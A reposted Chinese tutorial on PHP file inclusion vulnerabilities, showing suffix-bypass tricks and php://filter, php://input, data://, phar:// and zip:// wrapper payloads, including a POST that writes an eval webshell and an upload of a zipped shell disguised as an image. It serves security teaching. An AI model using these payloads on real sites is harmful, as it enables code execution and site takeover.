IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 文件包含漏洞(二) -> 正文阅读

[PHP知识库]文件包含漏洞(二)

有限制的远程文件包含

对文件指定了特定的前后缀 .html .php等,攻击者需要绕过过滤来执行恶意代码

<?php
	$filename=$_GET['filename'];
	include($filename.".html");
?>

绕过

1.问号绕过
形如http://xxxxxxx?filename=http://aaaa/b.txt?
后端处理后include(http:///aaaa/b.txt?.html)
?后的字符串被当作查询语句,绕过过滤

2.#绕过,URL编码为%23
#可以截断后面的拓展名.html
http://xxxxxxx?filename=http://aaaa/b.txt%23

3.空格绕过,,URL编码为%20
http://xxxxxxx?filename=http://aaaa/b.txt%20

PHP伪协议

file://    	访问本地文件系统
http://    	访问HTTP(S)网站
ftp://     	访问FTP(S)URL
php://		访问各个输入输出流
zlib://		处理压缩流
data://		读取数据
glob://		查找匹配的文件路径模式
phar://		PHP归档
ssh2://		secure shell 2
rar:// 		RAR压缩数据流
ogg://		处理音频流
expect://	处理交互式的流

1.php://filter

php://filter是元封装器,设计用于数据流打开时的筛选过滤应用,对本地磁盘文件进行读写
以下两种用法相同:

?filename=php://filter/read=convert.base64-encode/resource=xxx.php
?filename=php://filter/convert.base64-encode/resource=xxx.php

利用php://filter/读取文件时,PHP配置文件不需要开启allow_url_fopenallow_url_include
php://filter使用的参数

resource=<要过滤的数据流>该参数是必要的,指定要过滤的数据流
read=<读链的筛选器列表>可选参数,设定一个或多个筛选器名称,用管道符(单竖线)分割
write=<写链的筛选器列表>可选参数,设定一个或多个筛选器名称,用管道符(单竖线)分割
<;两个链的筛选器列表>未read=或write=作前缀的筛选器列表会视情况应用于读或写链
http://xxxxx/test.php?filename=php://filter/convert.base64-encode/resource=test.php
读取test.php的base64编码

在这里插入图片描述

在这里插入图片描述

2.php://input

php://input可以访问请求的原始数据的只读流,也就是可以直接读取POST上没有经过解析的原始数据 ,但是使用enctype="muliipart/form-data的时候php://input无效。

用法:
1.读取POST数据
直接读取POST上没有经过解析的原始数据,此时allow_url_fopenallow_url_include不需要开启

<?php
	echo file_get_contents("php://input");
?>

file_get_contents获取php://input数据,传入POST的数据,则输出该数据

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2.执行命令
allow_url_include需要开启
allow_url_fopen不需要开启
POST传入PHP代码,就可以执行任意代码

<?php
	$filename=$_GET['filename'];
	include($filename);
?>

在这里插入图片描述
在这里插入图片描述

POST传入<?php system("whoami");?>,执行whoami命令

如果不开启allow_url_include,就会产生报错,无法利用。

3.写入木马,实质与执行命令相同,只是执行写入木马
allow_url_include需要开启
allow_url_fopen不需要开启,个人操作中发现如果开启,则无法执行命令
POST传入PHP代码,就可以写入木马

<?php
	$filename=$_GET['filename'];
	include($filename);
?>

如果POST传入一段代码,就会在当前目录下写入木马
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['cmd‘])?>');?>

如果不开启allow_url_include,就会产生报错,无法利用。

file://伪协议

file://可以访问本地文件系统,读取文件的内容

allow_url_fopenallow_url_include不需要开启

<?php
	$filename=$_GET['filename'];
	include($filename);
?>

读取http://xxxxxx.pph?filename=file://c:/boot.ini
在这里插入图片描述

data://伪协议

PHP5.2.0开始,数据流封装器开始有效,主要用于数据流的读取,传入PHP代码,就会执行任意代码

使用方法:

data://text/plain;base64,xxxxx(base64加密后的数据)

allow_url_fopenallow_url_include需要开启

<?php
	$filename=$_GET['filename'];
	include($filename);
?>

在这里插入图片描述
+进行URL编码%2b

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

执行代码

http://xxxxx.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

在这里插入图片描述

phar://伪协议

不管参数的文件是什么拓展名,都会被当作压缩包

?filename=phar://压缩包/内部文件

allow_url_fopenallow_url_include需要开启
php版本高于5.3.0
压缩包使用zip://压缩,不能使用 rar://压缩,木马压缩后,改为其他任意格式的文件都可以使用

<?php
	$filename=$_GET['filename'];
	include($filename);
?>

有上传功能的网站中,用phar://上传一个shell.php,然后使用zip://压缩为shell.zip,再将拓展名改为.png,上传到网站
phar://shell.png当作ZIP解压,访问shell.php

http://xxxxx.php?filename=phar://shell.png/shell.php

zip://伪协议

phar://原理类似
用法:

?file=zip://压缩包绝对路径/压缩文件的子文件名
?file=zip://xxx.png#shell.php

allow_url_fopenallow_url_include需要开启
php版本高于5.3.0
#转码为%23

http://xxxx.php?filename=zip://shell.png%23shell.png

zip://shell.png当作ZIP解压,访问shell.php

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-04 10:58:37  更:2021-08-04 11:00:15 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/7 0:58:52-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码